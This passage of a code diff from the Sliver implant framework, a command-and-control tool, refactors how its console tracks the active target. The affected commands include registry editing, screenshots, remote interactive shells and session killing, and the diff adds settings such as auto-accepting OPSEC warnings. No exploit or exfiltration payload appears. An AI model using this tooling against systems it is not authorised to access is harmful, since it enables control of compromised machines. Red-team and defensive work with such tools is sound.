if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -65,7 +65,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
)
|
||||
|
||||
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -22,7 +22,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hive: hive,
|
||||
Hostname: hostname,
|
||||
Path: path,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
@@ -43,7 +43,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -56,7 +56,7 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hive: hive,
|
||||
Hostname: hostname,
|
||||
Path: regPath,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -76,7 +76,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
finalPath string
|
||||
key string
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -117,7 +117,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
|
||||
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
|
||||
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -123,7 +123,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Hostname: hostname,
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
|
||||
@@ -34,7 +34,7 @@ import (
|
||||
|
||||
// ScreenshotCmd - Take a screenshot of the remote system
|
||||
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -45,7 +45,7 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -7,6 +7,6 @@ import (
|
||||
|
||||
// BackgroundCmd - Background the active session
|
||||
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveSession.Background()
|
||||
con.ActiveTarget.Background()
|
||||
con.PrintInfof("Background ...\n")
|
||||
}
|
||||
@@ -1,5 +1,23 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
@@ -14,7 +32,7 @@ import (
|
||||
|
||||
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
|
||||
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintWarnf("No active session\n")
|
||||
return
|
||||
@@ -33,7 +51,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveSession.Background()
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
|
||||
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -30,7 +31,7 @@ import (
|
||||
|
||||
// SessionsReconfigCmd - Reconfigure metadata about a sessions
|
||||
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -51,11 +52,12 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
// Option to change the reconnect interval
|
||||
poll := ctx.Flags.Int("poll")
|
||||
|
||||
oldSession := con.ActiveTarget.GetSession()
|
||||
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
SessionID: con.ActiveSession.Session.ID,
|
||||
SessionID: oldSession.ID,
|
||||
Name: name,
|
||||
ReconnectInterval: int32(reconnect),
|
||||
PollInterval: int32(poll),
|
||||
ReconnectInterval: int64(reconnect) * int64(time.Second),
|
||||
PollInterval: int64(poll) * int64(time.Second),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
@@ -63,5 +65,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveSession.Set(session)
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
}
|
||||
@@ -19,18 +19,17 @@ package sessions
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// SessionsCmd - Display/interact with sessions
|
||||
@@ -48,7 +47,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if killAll {
|
||||
con.ActiveSession.Background()
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := killSession(session, true, con)
|
||||
if err != nil {
|
||||
@@ -61,7 +60,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if clean {
|
||||
con.ActiveSession.Background()
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := killSession(session, true, con)
|
||||
@@ -76,9 +75,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if kill != "" {
|
||||
session := con.GetSession(kill)
|
||||
activeSession := con.ActiveSession.Get()
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveSession.Background()
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := killSession(session, true, con)
|
||||
if err != nil {
|
||||
@@ -90,7 +89,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if interact != "" {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveSession.Set(session)
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
@@ -101,54 +100,36 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
if 0 < len(sessionsMap) {
|
||||
printSessions(sessionsMap, con)
|
||||
PrintSessions(sessionsMap, con)
|
||||
} else {
|
||||
con.PrintInfof("No sessions 🙁\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
So this method is a little more complex than you'd maybe think,
|
||||
this is because Go's tabwriter aligns columns by counting bytes
|
||||
and since we want to modify the color of the active sliver row
|
||||
the number of bytes per row won't line up. So we render the table
|
||||
into a buffer and note which row the active sliver is in. Then we
|
||||
write each line to the term and insert the ANSI codes just before
|
||||
we display the row.
|
||||
*/
|
||||
func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Transport")),
|
||||
strings.Repeat("=", len("Remote Address")),
|
||||
strings.Repeat("=", len("Hostname")),
|
||||
strings.Repeat("=", len("Username")),
|
||||
strings.Repeat("=", len("Operating System")),
|
||||
strings.Repeat("=", len("Last Check-in")),
|
||||
strings.Repeat("=", len("Health")),
|
||||
)
|
||||
// strings.Repeat("=", len("Burned")))
|
||||
|
||||
// Sort the keys because maps have a randomized order
|
||||
var keys []int
|
||||
for _, session := range sessions {
|
||||
keys = append(keys, int(session.ID))
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
|
||||
activeIndex := -1
|
||||
for index, key := range keys {
|
||||
session := sessions[uint32(key)]
|
||||
if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
|
||||
index := 0
|
||||
for _, session := range sessions {
|
||||
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
|
||||
activeIndex = index + 2 // Two lines for the headers
|
||||
}
|
||||
index++
|
||||
|
||||
var SessionHealth string
|
||||
if session.IsDead {
|
||||
@@ -160,8 +141,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
tw.AppendRow(table.Row{
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.Transport,
|
||||
@@ -169,15 +149,16 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
session.Hostname,
|
||||
session.Username,
|
||||
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
||||
session.LastCheckin,
|
||||
SessionHealth,
|
||||
burned,
|
||||
)
|
||||
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
if activeIndex != -1 {
|
||||
lines := strings.Split(outputBuf.String(), "\n")
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for lineNumber, line := range lines {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
@@ -189,6 +170,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.Printf(outputBuf.String())
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
package sessions
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UseCmd - Change the active session
|
||||
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
sessionArg := ctx.Args.String("session")
|
||||
if sessionArg != "" {
|
||||
session := con.GetSession(sessionArg)
|
||||
if session == nil {
|
||||
con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
|
||||
} else {
|
||||
activate(session, con)
|
||||
}
|
||||
} else {
|
||||
session, err := SelectSession(false, con)
|
||||
if session != nil {
|
||||
activate(session, con)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case ErrNoSessions:
|
||||
con.PrintErrorf("No sessions available\n")
|
||||
case ErrNoSelection:
|
||||
con.PrintErrorf("No session selected\n")
|
||||
default:
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
|
||||
con.ActiveSession.Set(session)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Style
|
||||
======
|
||||
|
||||
Defines terminal interface styles.
|
||||
@@ -0,0 +1,39 @@
|
||||
package settings
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SettingsBeaconsAutoResultCmd - The client settings command
|
||||
func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
|
||||
con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package settings
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SettingsAutoAdultCmd - The client settings command
|
||||
func SettingsAutoAdultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.Settings.AutoAdult = !con.Settings.AutoAdult
|
||||
con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult)
|
||||
}
|
||||
|
||||
// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions
|
||||
func IsUserAnAdult(con *console.SliverConsoleClient) bool {
|
||||
if GetAutoAdult(con) {
|
||||
return true
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
|
||||
// GetAutoAdult - Get the current auto adult setting
|
||||
func GetAutoAdult(con *console.SliverConsoleClient) bool {
|
||||
if con.Settings == nil {
|
||||
con.Settings, _ = assets.LoadSettings()
|
||||
}
|
||||
if con.Settings != nil {
|
||||
return con.Settings.AutoAdult
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package settings
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// SettingsCmd - The client settings command
|
||||
func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
|
||||
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
||||
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// SettingsTablesCmd - The client settings command
|
||||
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for option := range tableStyles {
|
||||
options = append(options, option)
|
||||
}
|
||||
style := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Choose a style:",
|
||||
Options: options,
|
||||
}
|
||||
err = survey.AskOne(prompt, &style)
|
||||
if err != nil {
|
||||
con.PrintErrorf("No selection\n")
|
||||
return
|
||||
}
|
||||
if _, ok := tableStyles[style]; ok {
|
||||
con.Settings.TableStyle = style
|
||||
} else {
|
||||
con.PrintErrorf("Invalid style\n")
|
||||
}
|
||||
}
|
||||
|
||||
// SettingsSaveCmd - The client settings command
|
||||
func SettingsSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err = assets.SaveSettings(con.Settings)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Settings saved to disk\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package settings
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
var (
|
||||
tableStyles = map[string]table.Style{
|
||||
// Sliver styles
|
||||
SliverDefault.Name: SliverDefault,
|
||||
|
||||
// Go Pretty styles
|
||||
table.StyleBold.Name: table.StyleBold,
|
||||
table.StyleColoredBright.Name: table.StyleColoredBright,
|
||||
table.StyleLight.Name: table.StyleLight,
|
||||
table.StyleColoredDark.Name: table.StyleColoredDark,
|
||||
table.StyleColoredBlackOnBlueWhite.Name: table.StyleColoredBlackOnBlueWhite,
|
||||
}
|
||||
|
||||
SliverDefault = table.Style{
|
||||
Name: "SliverDefault",
|
||||
Box: table.BoxStyle{
|
||||
BottomLeft: " ",
|
||||
BottomRight: " ",
|
||||
BottomSeparator: " ",
|
||||
Left: " ",
|
||||
LeftSeparator: " ",
|
||||
MiddleHorizontal: "=",
|
||||
MiddleSeparator: " ",
|
||||
MiddleVertical: " ",
|
||||
PaddingLeft: " ",
|
||||
PaddingRight: " ",
|
||||
Right: " ",
|
||||
RightSeparator: " ",
|
||||
TopLeft: " ",
|
||||
TopRight: " ",
|
||||
TopSeparator: " ",
|
||||
UnfinishedRow: " ~~",
|
||||
},
|
||||
Color: table.ColorOptions{
|
||||
IndexColumn: text.Colors{},
|
||||
Footer: text.Colors{},
|
||||
Header: text.Colors{},
|
||||
Row: text.Colors{},
|
||||
RowAlternate: text.Colors{},
|
||||
},
|
||||
Format: table.FormatOptions{
|
||||
Footer: text.FormatDefault,
|
||||
Header: text.FormatTitle,
|
||||
Row: text.FormatDefault,
|
||||
},
|
||||
Options: table.Options{
|
||||
DrawBorder: false,
|
||||
SeparateColumns: true,
|
||||
SeparateFooter: false,
|
||||
SeparateHeader: true,
|
||||
SeparateRows: false,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetTableStyle - Get the current table style
|
||||
func GetTableStyle(con *console.SliverConsoleClient) table.Style {
|
||||
if con.Settings == nil {
|
||||
con.Settings, _ = assets.LoadSettings()
|
||||
}
|
||||
if con.Settings != nil {
|
||||
if value, ok := tableStyles[con.Settings.TableStyle]; ok {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return tableStyles[SliverDefault.Name]
|
||||
}
|
||||
@@ -25,6 +25,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -41,18 +42,18 @@ const (
|
||||
|
||||
// ShellCmd - Start an interactive shell on the remote system
|
||||
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if !con.IsUserAnAdult() {
|
||||
if !settings.IsUserAnAdult(con) {
|
||||
return
|
||||
}
|
||||
|
||||
shellPath := ctx.Flags.String("shell-path")
|
||||
noPty := ctx.Flags.Bool("no-pty")
|
||||
if con.ActiveSession.Get().OS != linux && con.ActiveSession.Get().OS != darwin {
|
||||
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
|
||||
noPty = true // Sliver's PTYs are only supported on linux/darwin
|
||||
}
|
||||
runInteractive(ctx, shellPath, noPty, con)
|
||||
@@ -61,7 +62,7 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -80,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
|
||||
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: shellPath,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
Tasks
|
||||
=======
|
||||
|
||||
Manage and interact with Beacon tasks
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
package tasks
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
